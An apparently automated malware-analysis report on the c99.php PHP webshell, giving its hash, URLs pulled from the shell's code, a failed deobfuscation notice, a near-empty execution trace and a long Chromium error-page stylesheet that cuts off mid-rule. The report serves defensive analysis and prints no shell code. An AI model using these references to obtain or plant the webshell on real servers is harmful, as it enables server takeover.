PHP Malware Analysis

c99.php

md5: 382e2a9e4c841bc66fa3a56e6fa9d537

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Attributes

Emails

Encoding

Environment

Execution

Files

Input

Title

URLs
  • http://ccteam.ru (Original)
  • http://ccteam.ru/releases/c99shell (Original)
  • http://ccteam.ru/releases/cc99shell (Original)
  • http://ccteam.ru/releases/update/c99shell/ (Original)
  • http://localhost/c99.php (HTML)
  • http://r57.gen.tr (Original)
  • http://wwp.icq.com/scripts/contact.dll?msgto=656555 (Original)
  • http://wwp.icq.com/scripts/online.dll?icq=656555&img=5 (Original)
  • http://www.html5rocks.com/en/tutorials/canvas/hidpi/ (HTML)
  • http://www.r57.gen.tr/yazciz/ciz.js (Original)
  • https://crbug.com/740629 (HTML)
  • https://w3c.github.io/gamepad/#remapping (HTML)


Deobfuscated PHP code

Failed to deobfuscate code

Execution traces

data/traces/382e2a9e4c841bc66fa3a56e6fa9d537_trace-1676257167.9108.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 00:59:53.808632]
1	0	1	0.000191	393512
			0.002210	314224
TRACE END   [2023-02-13 00:59:53.810689]


Generated HTML code

<html dir="ltr" lang="en"><head>
  <meta charset="utf-8">
  <meta name="color-scheme" content="light dark">
  <meta name="theme-color" content="#fff">
  <meta name="viewport" content="width=device-width, initial-scale=1.0,
                                 maximum-scale=1.0, user-scalable=no">
  <title>localhost</title>
  <style>/* Copyright 2017 The Chromium Authors
 * Use of this source code is governed by a BSD-style license that can be
 * found in the LICENSE file. */

a {
  color: var(--link-color);
}

body {
  --background-color: #fff;
  --error-code-color: var(--google-gray-700);
  --google-blue-100: rgb(210, 227, 252);
  --google-blue-300: rgb(138, 180, 248);
  --google-blue-600: rgb(26, 115, 232);
  --google-blue-700: rgb(25, 103, 210);
  --google-gray-100: rgb(241, 243, 244);
  --google-gray-300: rgb(218, 220, 224);
  --google-gray-500: rgb(154, 160, 166);
  --google-gray-50: rgb(248, 249, 250);
  --google-gray-600: rgb(128, 134, 139);
  --google-gray-700: rgb(95, 99, 104);
  --google-gray-800: rgb(60, 64, 67);
  --google-gray-900: rgb(32, 33, 36);
  --heading-color: var(--google-gray-900);
  --link-color: rgb(88, 88, 88);
  --popup-container-background-color: rgba(0,0,0,.65);
  --primary-button-fill-color-active: var(--google-blue-700);
  --primary-button-fill-color: var(--google-blue-600);
  --primary-button-text-color: #fff;
  --quiet-background-color: rgb(247, 247, 247);
  --secondary-button-border-color: var(--google-gray-500);
  --secondary-button-fill-color: #fff;
  --secondary-button-hover-border-color: var(--google-gray-600);
  --secondary-button-hover-fill-color: var(--google-gray-50);
  --secondary-button-text-color: var(--google-gray-700);
  --small-link-color: var(--google-gray-700);
  --text-color: var(--google-gray-700);
  background: var(--background-color);
  color: var(--text-color);
  word-wrap: break-word;
}

.nav-wrapper .secondary-button {
  background: var(--secondary-button-fill-color);
  border: 1px solid var(--secondary-button-border-color);
  color: var(--secondary-button-text-color);
  float: none;
  margin: 0;
  padding: 8px 16px;
}

.hidden {
  display: none;
}

html {
  -webkit-text-size-adjust: 100%;
  font-size: 125%;
}

.icon {
  background-repeat: no-repeat;
  background-size: 100%;
}

@media (prefers-color-scheme: dark) {
  body {
    --background-color: var(--google-gray-900);
    --error-code-color: var(--google-gray-500);
    --heading-color: var(--google-gray-500);
    --link-color: var(--google-blue-300);
    --primary-button-fill-color-active: rgb(129, 162, 208);
    --primary-button-fill-color: var(--google-blue-300);
    --primary-button-text-color: var(--google-gray-900);
    --quiet-background-color: var(--background-color);
    --secondary-button-border-color: var(--google-gray-700);
    --secondary-button-fill-color: var(--google-gray-900);
    --secondary-button-hover-fill-color: rgb(48, 51, 57);
    --secondary-button-text-color: var(--google-blue-300);
    --small-link-color: var(--google-blue-300);
    --text-color: var(--google-gray-500);
  }
}
</style>
  <style>/* Copyright 2014 The Chromium Authors
   Use of this source code is governed by a BSD-style license that can be
   found in the LICENSE file. */

button {
  border: 0;
  border-radius: 4px;
  box-sizing: border-box;
  color: var(--primary-button-text-color);
  cursor: pointer;
  float: right;
  font-size: .875em;
  margin: 0;
  padding: 8px 16px;
  transition: box-shadow 150ms cubic-bezier(0.4, 0, 0.2, 1);
  user-select: none;
}

[dir='rtl'] button {
  float: left;
}

.bad-clock button,
.captive-portal button,
.https-only button,
.insecure-form button,
.lookalike-url button,
.main-frame-blocked button,
.neterror button,
.pdf button,
.ssl button,
.enterprise-block button,
.enterprise-warn button,
.safe-browsing-billing button {
  background: var(--primary-button-fill-color);
}

button:active {
  background: var(--primary-button-fill-color-active);
  outline: 0;
}

#debugging {
  display: inline;
  overflow: auto;
}

.debugging-content {
  line-height: 1em;
  margin-bottom: 0;
  margin-top: 1em;
}

.debugging-content-fixed-width {
  display: block;
  font-family: monospace;
  font-size: 1.2em;
  margin-top: 0.5em;
}

.debugging-title {
  font-weight: bold;
}

#details {
  margin: 0 0 50px;
}

#details p:not(:first-of-type) {
  margin-top: 20px;
}

.secondary-button:active {
  border-color: white;
  box-shadow: 0 1px 2px 0 rgba(60, 64, 67, .3),
      0 2px 6px 2px rgba(60, 64, 67, .15);
}

.secondary-button:hover {
  background: var(--secondary-button-hover-fill-color);
  border-color: var(--secondary-button-hover-border-color);
  text-decoration: none;
}

.error-code {
  color: var(--error-code-color);
  font-size: .8em;
  margin-top: 12px;
  text-transform: uppercase;
}

#error-debugging-info {
  font-size: 0.8em;
}

h1 {
  color: var(--heading-color);
  font-size: 1.6em;
  font-weight: normal;
  line-height: 1.25em;
  margin-bottom: 16px;
}

h2 {
  font-size: 1.2em;
  font-weight: normal;
}

.icon {
  height: 72px;
  margin: 0 0 40px;
  width: 72px;
}

input[type=checkbox] {
  opacity: 0;
}

input[type=checkbox]:focus ~ .checkbox::after {
  outline: -webkit-focus-ring-color auto 5px;
}

.interstitial-wrapper {
  box-sizing: border-box;
  font-size: 1em;
  line-height: 1.6em;
  margin: 14vh auto 0;
  max-width: 600px;
  width: 100%;
}

#main-message > p {
  display: inline;
}

#extended-reporting-opt-in {
  font-size: .875em;
  margin-top: 32px;
}

#extended-reporting-opt-in label {
  display: grid;
  grid-template-columns: 1.8em 1fr;
  position: relative;
}

#enhanced-protection-message {
  border-radius: 4px;
  font-size: 1em;
  margin-top: 32px;
  padding: 10px 5px;
}

#enhanced-protection-message label {
  display: grid;
  grid-template-columns: 2.5em 1fr;
  position: relative;
}

#enhanced-protection-message div {
  margin: 0.5em;
}

#enhanced-protection-message .icon {
  height: 1.5em;
  vertical-align: middle;
  width: 1.5em;
}

.nav-wrapper {
  margin-top: 51px;
}

.nav-wrapper::after {
  clear: both;
  content: '';
  display: table;
  width: 100%;
}

.small-link {
  color: var(--small-link-color);
  font-size: .875em;
}

.checkboxes {
  flex: 0 0 24px;
}

.checkbox {
  --padding: .9em;
  background: transparent;
  display: block;
  height: 1em;
  left: -1em;
  padding-inline-start: var(--padding);
  position: absolute;
  right: 0;
  top: -.5em;
  width: 1em;
}

.checkbox::after {
  border: 1px solid white;
  border-radius: 2px;
  content: '';
  height: 1em;
  left: var(--padding);
  position: absolute;
  top: var(--padding);
  width: 1em;
}

.checkbox::before {
  background: transparent;
  border: 2px solid white;
  border-inline-end-width: 0;
  border-top-width: 0;
  content: '';
  height: .2em;
  left: calc(.3em + var(--padding));
  opacity: 0;
  position: absolute;
  top: calc(.3em  + var(--padding));
  transform: rotate(-45deg);
  width: .5em;
}

input[type=checkbox]:checked ~ .checkbox::before {
  opacity: 1;
}

#recurrent-error-message {
  background: #ededed;
  border-radius: 4px;
  margin-bottom: 16px;
  margin-top: 12px;
  padding: 12px 16px;
}

.showing-recurrent-error-message #extended-reporting-opt-in {
  margin-top: 16px;
}

.showing-recurrent-error-message #enhanced-protection-message {
  margin-top: 16px;
}

@media (max-width: 700px) {
  .interstitial-wrapper {
    padding: 0 10%;
  }

  #error-debugging-info {
    overflow: auto;
  }
}

@media (max-width: 420px) {
  button,
  [dir='rtl'] button,
  .small-link {
    float: none;
    font-size: .825em;
    font-weight: 500;
    margin: 0;
    width: 100%;
  }

  button {
    padding: 16px 24px;
  }

  #details {
    margin: 20px 0 20px 0;
  }

  #details p:not(:first-of-type) {
    margin-top: 10px;
  }

  .secondary-button:not(.hidden) {
    display: block;
    margin-top: 20px;
    text-align: center;
    width: 100%;
  }

  .interstitial-wrapper {
    padding: 0 5%;
  }

  #extended-reporting-opt-in {
    margin-top: 24px;
  }

  #enhanced-protection-message {
    margin-top: 24px;
  }

  .nav-wrapper {
    margin-top: 30px;
  }
}

/**
 * Mobile specific styling.
 * Navigation buttons are anchored to the bottom of the screen.
 * Details message replaces the top content in its own scrollable area.
 */

@media (max-width: 420px) {
  .nav-wrapper .secondary-button {
    border: 0;
    margin: 16px 0 0;
    margin-inline-end: 0;
    padding-bottom: 16px;
    padding-top: 16px;
  }
}

/* Fixed nav. */
@media (min-width: 240px) and (max-width: 420px) and
       (min-height: 401px),
       (min-width: 421px) and (min-height: 240px) and
       (max-height: 560px) {
  body .nav-wrapper {
    background: var(--background-color);
    bottom: 0;
    box-shadow: 0 -12px 24px var(--background-color);
    left: 0;
    margin: 0 auto;
    max-width: 736px;
    padding-inline-end: 24px;
    padding-inline-start: 24px;
    position: fixed;
    right: 0;
    width: 100%;
    z-index: 2;
  }

  .interstitial-wrapper {
    max-width: 736px;
  }

  #details,
  #main-content {
    padding-bottom: 40px;
  }

  #details {
    padding-top: 5.5vh;
  }

  button.small-link {
    color: var(--google-blue-600);
  }
}

@media (max-width: 420px) and (orientation: portrait),
       (max-height: 560px) {
  body {
    margin: 0 auto;
  }

  button,
  [dir='rtl'] button,
  button.small-link,
  .nav-wrapper .secondary-button {
    font-family: Roboto-Regular,Helvetica;
    font-size: .933em;
    margin: 6px 0;
    transform: translatez(0);
  }

  .nav-wrapper {
    box-sizing: border-box;
    padding-bottom: 8px;
    width: 100%;
  }

  #details {
    box-sizing: border-box;
    height: auto;
    margin: 0;
    opacity: 1;
    transition: opacity 250ms cubic-bezier(0.4, 0, 0.2, 1);
  }

  #details.hidden,
  #main-content.hidden {
    height: 0;
    opacity: 0;
    overflow: hidden;
    padding-bottom: 0;
    transition: none;
  }

  h1 {
    font-size: 1.5em;
    margin-bottom: 8px;
  }

  .icon {
    margin-bottom: 5.69vh;
  }

  .interstitial-wrapper {
    box-sizing: border-box;
    margin: 7vh auto 12px;
    padding: 0 24px;
    position: relative;
  }

  .interstitial-wrapper p {
    font-size: .95em;
    line-height: 1.61em;
    margin-top: 8px;
  }

  #main-content {
    margin: 0;
    transition: opacity 100ms cubic-bezier(0.4, 0, 0.2, 1);
  }

  .small-link {
    border: 0;
  }

  .suggested-left > #control-buttons,
  .suggested-right > #control-buttons {
    float: none;
    margin: 0;
  }
}

@media (min-width: 421px) and (min-height: 500px) and (max-height: 560px) {
  .interstitial-wrapper {
    margin-top: 10vh;
  }
}

@media (min-height: 400px) and (orientation:portrait) {
  .interstitial-wrapper {
    margin-bottom: 145px;
  }
}

@media (min-height: 299px) {
  .nav-wrapper {
    padding-bottom: 16px;
  }
}

@media (max-height: 560px) and (min-height: 240px) and (orientation:landscape) {
  .extended-reporting-has-checkbox #details {
    padding-bottom: 80px;
  }
}

@media (min-height: 500px) and (max-height: 650px) and (max-width: 414px) and
       (orientation: portrait) {
  .interstitial-wrapper {
    margin-top: 7vh;
  }
}

@media (min-height: 650px) and (max-width: 414px) and (orientation: portrait) {
  .interstitial-wrapper {
    margin-top: 10vh;
  }
}

/* Small mobile screens. No fixed nav. */
@media (max-height: 400px) and (orientation: portrait),
       (max-height: 239px) and (orientation: landscape),
       (max-width: 419px) and (max-height: 399px) {
  .interstitial-wrapper {
    display: flex;
    flex-direction: column;
    margin-bottom: 0;
  }

  #details {
    flex: 1 1 auto;
    order: 0;
  }

  #main-content {
    flex: 1 1 auto;
    order: 0;
  }

  .nav-wrapper {
    flex: 0 1 auto;
    margin-top: 8px;
    order: 1;
    padding-inline-end: 0;
    padding-inline-start: 0;
    position: relative;
    width: 100%;
  }

  button,
  .nav-wrapper .secondary-button {
    padding: 16px 24px;
  }

  button.small-link {
    color: var(--google-blue-600);
  }
}

@media (max-width: 239px) and (orientation: portrait) {
  .nav-wrapper {
    padding-inline-end: 0;
    padding-inline-start: 0;
  }
}
</style>
  <style>/* Copyright 2013 The Chromium Authors
 * Use of this source code is governed by a BSD-style license that can be
 * found in the LICENSE file. */

/* Don't use the main frame div when the error is in a subframe. */
html[subframe] #main-frame-error {
  display: none;
}

/* Don't use the subframe error div when the error is in a main frame. */
html:not([subframe]) #sub-frame-error {
  display: none;
}

h1 {
  margin-top: 0;
  word-wrap: break-word;
}

h1 span {
  font-weight: 500;
}

a {
  text-decoration: none;
}

.icon {
  -webkit-user-select: none;
  display: inline-block;
}

.icon-generic {
  /* Can't access chrome://theme/IDR_ERROR_NETWORK_GENERIC from an untrusted
   * renderer process, so embed the resource manually. */
  content: -webkit-image-set(
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEgAAABIAQMAAABvIyEEAAAABlBMVEUAAABTU1OoaSf/AAAAAXRSTlMAQObYZgAAAENJREFUeF7tzbEJACEQRNGBLeAasBCza2lLEGx0CxFGG9hBMDDxRy/72O9FMnIFapGylsu1fgoBdkXfUHLrQgdfrlJN1BdYBjQQm3UAAAAASUVORK5CYII=) 1x,
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAJAAAACQAQMAAADdiHD7AAAABlBMVEUAAABTU1OoaSf/AAAAAXRSTlMAQObYZgAAAFJJREFUeF7t0cENgDAMQ9FwYgxG6WjpaIzCCAxQxVggFuDiCvlLOeRdHR9yzjncHVoq3npu+wQUrUuJHylSTmBaespJyJQoObUeyxDQb3bEm5Au81c0pSCD8HYAAAAASUVORK5CYII=) 2x);
}

.icon-offline {
  content: -webkit-image-set(
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEgAAABIAQMAAABvIyEEAAAABlBMVEUAAABTU1OoaSf/AAAAAXRSTlMAQObYZgAAAGxJREFUeF7tyMEJwkAQRuFf5ipMKxYQiJ3Z2nSwrWwBA0+DQZcdxEOueaePp9+dQZFB7GpUcURSVU66yVNFj6LFICatThZB6r/ko/pbRpUgilY0Cbw5sNmb9txGXUKyuH7eV25x39DtJXUNPQGJtWFV+BT/QAAAAABJRU5ErkJggg==) 1x,
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAJAAAACQBAMAAAAVaP+LAAAAGFBMVEUAAABTU1NNTU1TU1NPT09SUlJSUlJTU1O8B7DEAAAAB3RSTlMAoArVKvVgBuEdKgAAAJ1JREFUeF7t1TEOwyAMQNG0Q6/UE+RMXD9d/tC6womIFSL9P+MnAYOXeTIzMzMzMzMzaz8J9Ri6HoITmuHXhISE8nEh9yxDh55aCEUoTGbbQwjqHwIkRAEiIaG0+0AA9VBMaE89Rogeoww936MQrWdBr4GN/z0IAdQ6nQ/FIpRXDwHcA+JIJcQowQAlFUA0MfQpXLlVQfkzR4igS6ENjknm/wiaGhsAAAAASUVORK5CYII=) 2x);
  position: relative;
}

.icon-disabled {
  content: -webkit-image-set(
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAHAAAABICAMAAAAZF4G5AAAABlBMVEVMaXFTU1OXUj8tAAAAAXRSTlMAQObYZgAAASZJREFUeAHd11Fq7jAMRGGf/W/6PoWB67YMqv5DybwG/CFjRuR8JBw3+ByiRjgV9W/TJ31P0tBfC6+cj1haUFXKHmVJo5wP98WwQ0ZCbfUc6LQ6VuUBz31ikADkLMkDrfUC4rR6QGW+gF6rx7NaHWCj1Y/W6lf4L7utvgBSt3rBFSS/XBMPUILcJINHCBWYUfpWn4NBi1ZfudIc3rf6/NGEvEA+AsYTJozmXemjXeLZAov+mnkN2HfzXpMSVQDnGw++57qNJ4D1xitA2sJ+VAWMygSEaYf2mYPTjZfk2K8wmP7HLIH5Mg4/pP+PEcDzUvDMvYbs/2NWwPO5vBdMZE4EE5UTQLiBFDaUlTDPBRoJ9HdAYIkIo06og3BNXtCzy7zA1aXk5x+tJARq63eAygAAAABJRU5ErkJggg==) 1x,
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAOAAAACQAQMAAAArwfVjAAAABlBMVEVMaXFTU1OXUj8tAAAAAXRSTlMAQObYZgAAAYdJREFUeF7F1EFqwzAUBNARAmVj0FZe5QoBH6BX+dn4GlY2PYNzGx/A0CvkCIJuvIraKJKbgBvzf2g62weDGD7CYggpfFReis4J0ey9EGFIiEQQojFSlA9kSIiqd0KkFjKsewgRbStEN19mxUPTtmW9HQ/h6tyqNQ8NlSMZdzyE6qkoE0trVYGFm0n1WYeBhduzwbwBC7voS+vIxfeMjeaiLxsMMtQNwMPtuew+DjzcTHk8YMfDknEcIUOtf2lVfgVH3K4Xv5PRYAXRVMtItIJ3rfaCIVn9DsTH2NxisAVRex2Hh3hX+/mRUR08bAwPEYsI51ZxWH4Q0SpicQRXeyEaIug48FEdegARfMz/tADVsRciwTAxW308ehmC2gLraC+YCbV3QoTZexa+zegAEW5PhhgYfmbvJgcRqngGByOSXdFJcLk2JeDPEN0kxe1JhIt5FiFA+w+ItMELsUyPF2IaJ4aILqb4FbxPwhImwj6JauKgDUCYaxmYIsd4KXdMjIC9ItB5Bn4BNRwsG0XM2nwAAAAASUVORK5CYII=) 2x);
  width: 112px;
}

.hidden {
  display: none;
}

#suggestions-list a {
  color: var(--google-blue-600);
}

#suggestions-list p {
  margin-block-end: 0;
}

#suggestions-list ul {
  margin-top: 0;
}

.single-suggestion {
  list-style-type: none;
  padding-inline-start: 0;
}

#error-information-button {
  content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBmaWxsPSJub25lIiBkPSJNMCAwaDI0djI0SDB6Ii8+PHBhdGggZD0iTTExIDE4aDJ2LTJoLTJ2MnptMS0xNkM2LjQ4IDIgMiA2LjQ4IDIgMTJzNC40OCAxMCAxMCAxMCAxMC00LjQ4IDEwLTEwUzE3LjUyIDIgMTIgMnptMCAxOGMtNC40MSAwLTgtMy41OS04LThzMy41OS04IDgtOCA4IDMuNTkgOCA4LTMuNTkgOC04IDh6bTAtMTRjLTIuMjEgMC00IDEuNzktNCA0aDJjMC0xLjEuOS0yIDItMnMyIC45IDIgMmMwIDItMyAxLjc1LTMgNWgyYzAtMi4yNSAzLTIuNSAzLTUgMC0yLjIxLTEuNzktNC00LTR6Ii8+PC9zdmc+);
  height: 24px;
  vertical-align: -.15em;
  width: 24px;
}

.use-popup-container#error-information-popup-container
  #error-information-popup {
  align-items: center;
  background-color: var(--popup-container-background-color);
  display: flex;
  height: 100%;
  left: 0;
  position: fixed;
  top: 0;
  width: 100%;
  z-index: 100;
}

.use-popup-container#error-information-popup-container
  #error-information-popup-content > p {
  margin-bottom: 11px;
  margin-inline-start: 20px;
}

.use-popup-container#error-information-popup-container #suggestions-list ul {
  margin-inline-start: 15px;
}

.use-popup-container#error-information-popup-container
  #error-information-popup-box {
  background-color: var(--background-color);
  left: 5%;
  padding-bottom: 15px;
  padding-top: 15px;
  position: fixed;
  width: 90%;
  z-index: 101;
}

.use-popup-container#error-information-popup-container div.error-code {
  margin-inline-start: 20px;
}

.use-popup-container#error-information-popup-container #suggestions-list p {
  margin-inline-start: 20px;
}

:not(.use-popup-container)#error-information-popup-container
  #error-information-popup-close {
  display: none;
}

#error-information-popup-close {
  margin-bottom: 0;
  margin-inline-end: 35px;
  margin-top: 15px;
  text-align: end;
}

.link-button {
  color: rgb(66, 133, 244);
  display: inline-block;
  font-weight: bold;
  text-transform: uppercase;
}

#sub-frame-error-details {

  color: #8F8F8F;

  /* Not done on mobile for performance reasons. */
  text-shadow: 0 1px 0 rgba(255,255,255,0.3);

}

[jscontent=hostName],
[jscontent=failedUrl] {
  overflow-wrap: break-word;
}

.secondary-button {
  background: #d9d9d9;
  color: #696969;
  margin-inline-end: 16px;
}

.snackbar {
  background: #323232;
  border-radius: 2px;
  bottom: 24px;
  box-sizing: border-box;
  color: #fff;
  font-size: .87em;
  left: 24px;
  max-width: 568px;
  min-width: 288px;
  opacity: 0;
  padding: 16px 24px 12px;
  position: fixed;
  transform: translateY(90px);
  will-change: opacity, transform;
  z-index: 999;
}

.snackbar-show {
  -webkit-animation:
    show-snackbar 250ms cubic-bezier(0, 0, 0.2, 1) forwards,
    hide-snackbar 250ms cubic-bezier(0.4, 0, 1, 1) forwards 5s;
}

@-webkit-keyframes show-snackbar {
  100% {
    opacity: 1;
    transform: translateY(0);
  }
}

@-webkit-keyframes hide-snackbar {
  0% {
    opacity: 1;
    transform: translateY(0);
  }
  100% {
    opacity: 0;
    transform: translateY(90px);
  }
}

.suggestions {
  margin-top: 18px;
}

.suggestion-header {
  font-weight: bold;
  margin-bottom: 4px;
}

.suggestion-body {
  color: #777;
}

/* Decrease padding at low sizes. */
@media (max-width: 640px), (max-height: 640px) {
  h1 {
    margin: 0 0 15px;
  }
  .suggestions {
    margin-top: 10px;
  }
  .suggestion-header {
    margin-bottom: 0;
  }
}

#download-link,
#download-link-clicked {
  margin-bottom: 30px;
  margin-top: 30px;
}

#download-link-clicked {
  color: #BBB;
}

#download-link::before,
#download-link-clicked::before {
  content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxLjJlbSIgaGVpZ2h0PSIxLjJlbSIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNNSAyMGgxNHYtMkg1bTE0LTloLTRWM0g5djZINWw3IDcgNy03eiIgZmlsbD0iIzQyODVGNCIvPjwvc3ZnPg==);
  display: inline-block;
  margin-inline-end: 4px;
  vertical-align: -webkit-baseline-middle;
}

#download-link-clicked::before {
  opacity: 0;
  width: 0;
}

#offline-content-list-visibility-card {
  border: 1px solid white;
  border-radius: 8px;
  display: flex;
  font-size: .8em;
  justify-content: space-between;
  line-height: 1;
}

#offline-content-list.list-hidden #offline-content-list-visibility-card {
  border-color: rgb(218, 220, 224);
}

#offline-content-list-visibility-card > div {
  padding: 1em;
}

#offline-content-list-title {
  color: var(--google-gray-700);
}

#offline-content-list-show-text,
#offline-content-list-hide-text {
  color: rgb(66, 133, 244);
}

/* Hides the "hide" text div when the offline content list is collapsed/hidden
 * and, alternatively, hides the "show" text div when the offline content list
 * is expanded/shown.
 */
#offline-content-list.list-hidden #offline-content-list-hide-text,
#offline-content-list:not(.list-hidden) #offline-content-list-show-text {
  display: none;
}

/* Controls the animation of the offline content list when it is expanded/shown.
 */
#offline-content-suggestions {
  /* Max-height has to be set for the height animation to work. The chosen value
   * is a little greater than the maximum height the list will have, when all
   * suggestions have images, so that it is never clamped. This makes so that
   * when the actual height is smaller then the animation is not as smooth.
   */
  max-height: 27em;
  transition: max-height 200ms ease-in, visibility 0s 200ms,
              opacity 200ms 200ms linear;
}

/* Controls the animation of the offline content list when it is
 * collapsed/hidden.
 */
#offline-content-list.list-hidden #offline-content-suggestions {
  max-height: 0;
  opacity: 0;
  transition: opacity 200ms linear, visibility 0s 200ms,
              max-height 200ms 200ms ease-out;
  visibility: hidden;
}

#offline-content-list {
  margin-inline-start: -5%;
  width: 110%;
}

/* The selectors below adjust the "overflow" of the suggestion cards contents
 * based on the same screen size based strategy used for the main frame, which
 * is applied by the `interstitial-wrapper` class. */
@media (max-width: 420px)  {
  #offline-content-list {
    margin-inline-start: -2.5%;
    width: 105%;
  }
}
@media (max-width: 420px) and (orientation: portrait),
       (max-height: 560px) {
  #offline-content-list {
    margin-inline-start: -12px;
    width: calc(100% + 24px);
  }
}

.suggestion-with-image .offline-content-suggestion-thumbnail {
  flex-basis: 8.2em;
  flex-shrink: 0;
}

.suggestion-with-image .offline-content-suggestion-thumbnail > img {
  height: 100%;
  width: 100%;
}

.suggestion-with-image #offline-content-list:not(.is-rtl)
.offline-content-suggestion-thumbnail > img {
  border-bottom-right-radius: 7px;
  border-top-right-radius: 7px;
}

.suggestion-with-image #offline-content-list.is-rtl
.offline-content-suggestion-thumbnail > img {
  border-bottom-left-radius: 7px;
  border-top-left-radius: 7px;
}

.suggestion-with-icon .offline-content-suggestion-thumbnail {
  align-items: center;
  display: flex;
  justify-content: center;
  min-height: 4.2em;
  min-width: 4.2em;
}

.suggestion-with-icon .offline-content-suggestion-thumbnail > div {
  align-items: center;
  background-color: rgb(241, 243, 244);
  border-radius: 50%;
  display: flex;
  height: 2.3em;
  justify-content: center;
  width: 2.3em;
}

.suggestion-with-icon .offline-content-suggestion-thumbnail > div > img {
  height: 1.45em;
  width: 1.45em;
}

.offline-content-suggestion-favicon {
  height: 1em;
  margin-inline-end: 0.4em;
  width: 1.4em;
}

.offline-content-suggestion-favicon > img {
  height: 1.4em;
  width: 1.4em;
}

.no-favicon .offline-content-suggestion-favicon {
  display: none;
}

.image-video {
  content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNMTcgMTAuNVY3YTEgMSAwIDAgMC0xLTFINGExIDEgMCAwIDAtMSAxdjEwYTEgMSAwIDAgMCAxIDFoMTJhMSAxIDAgMCAwIDEtMXYtMy41bDQgNHYtMTFsLTQgNHoiIGZpbGw9IiMzQzQwNDMiLz48L3N2Zz4=);
}

.image-music-note {
  content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNMTIgM3Y5LjI2Yy0uNS0uMTctMS0uMjYtMS41LS4yNkM4IDEyIDYgMTQgNiAxNi41UzggMjEgMTAuNSAyMXM0LjUtMiA0LjUtNC41VjZoNFYzaC03eiIgZmlsbD0iIzNDNDA0MyIvPjwvc3ZnPg==);
}

.image-earth {
  content: url(data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMjQiIGhlaWdodD0iMjQiIHZpZXdCb3g9IjAgMCAyNCAyNCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMTIgMmM1LjUyIDAgMTAgNC40OCAxMCAxMHMtNC40OCAxMC0xMCAxMFMyIDE3LjUyIDIgMTIgNi40OCAyIDEyIDJ6TTQgMTJoNC40YzMuNDA3LjAyMiA0LjkyMiAxLjczIDQuNTQzIDUuMTI3SDkuNDg4djIuNDdhOC4wMDQgOC4wMDQgMCAwIDAgMTAuNDk4LTguMDgzQzE5LjMyNyAxMi41MDQgMTguMzMyIDEzIDE3IDEzYy0yLjEzNyAwLTMuMjA2LS45MTYtMy4yMDYtMi43NWgtMy43NDhjLS4yNzQtMi43MjguNjgzLTQuMDkyIDIuODctNC4wOTIgMC0uOTc1LjMyNy0xLjU5Ny44MTEtMS45N0E4LjAwNCA4LjAwNCAwIDAgMCA0IDEyeiIgZmlsbD0iIzNDNDA0MyIvPjwvc3ZnPg==);
}

.image-file {
  content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNMTMgOVYzLjVMMTguNSA5TTYgMmMtMS4xMSAwLTIgLjg5LTIgMnYxNmEyIDIgMCAwIDAgMiAyaDEyYTIgMiAwIDAgMCAyLTJWOGwtNi02SDZ6IiBmaWxsPSIjM0M0MDQzIi8+PC9zdmc+);
}

.offline-content-suggestion-texts {
  display: flex;
  flex-direction: column;
  justify-content: space-between;
  line-height: 1.3;
  padding: .9em;
  width: 100%;
}

.offline-content-suggestion-title {
  -webkit-box-orient: vertical;
  -webkit-line-clamp: 3;
  color: rgb(32, 33, 36);
  display: -webkit-box;
  font-size: 1.1em;
  overflow: hidden;
  text-overflow: ellipsis;
}

div.offline-content-suggestion {
  align-items: stretch;
  border: 1px solid rgb(218, 220, 224);
  border-radius: 8px;
  display: flex;
  justify-content: space-between;
  margin-bottom: .8em;
}

.suggestion-with-image {
  flex-direction: row;
  height: 8.2em;
  max-height: 8.2em;
}

.suggestion-with-icon {
  flex-direction: row-reverse;
  height: 4.2em;
  max-height: 4.2em;
}

.suggestion-with-icon .offline-content-suggestion-title {
  -webkit-line-clamp: 1;
  word-break: break-all;
}

.suggestion-with-icon .offline-content-suggestion-texts {
  padding-inline-start: 0;
}

.offline-content-suggestion-attribution-freshness {
  color: rgb(95, 99, 104);
  display: flex;
  font-size: .8em;
  line-height: 1.7em;
}

.offline-content-suggestion-attribution {
  -webkit-box-orient: vertical;
  -webkit-line-clamp: 1;
  display: -webkit-box;
  flex-shrink: 1;
  margin-inline-end: 0.3em;
  overflow: hidden;
  overflow-wrap: break-word;
  text-overflow: ellipsis;
  word-break: break-all;
}

.no-attribution .offline-content-suggestion-attribution {
  display: none;
}

.offline-content-suggestion-freshness::before {
  content: '-';
  display: inline-block;
  flex-shrink: 0;
  margin-inline-end: .1em;
  margin-inline-start: .1em;
}

.no-attribution .offline-content-suggestion-freshness::before {
  display: none;
}

.offline-content-suggestion-freshness {
  flex-shrink: 0;
}

.suggestion-with-image .offline-content-suggestion-pin-spacer {
  flex-grow: 100;
  flex-shrink: 1;
}

.suggestion-with-image .offline-content-suggestion-pin {
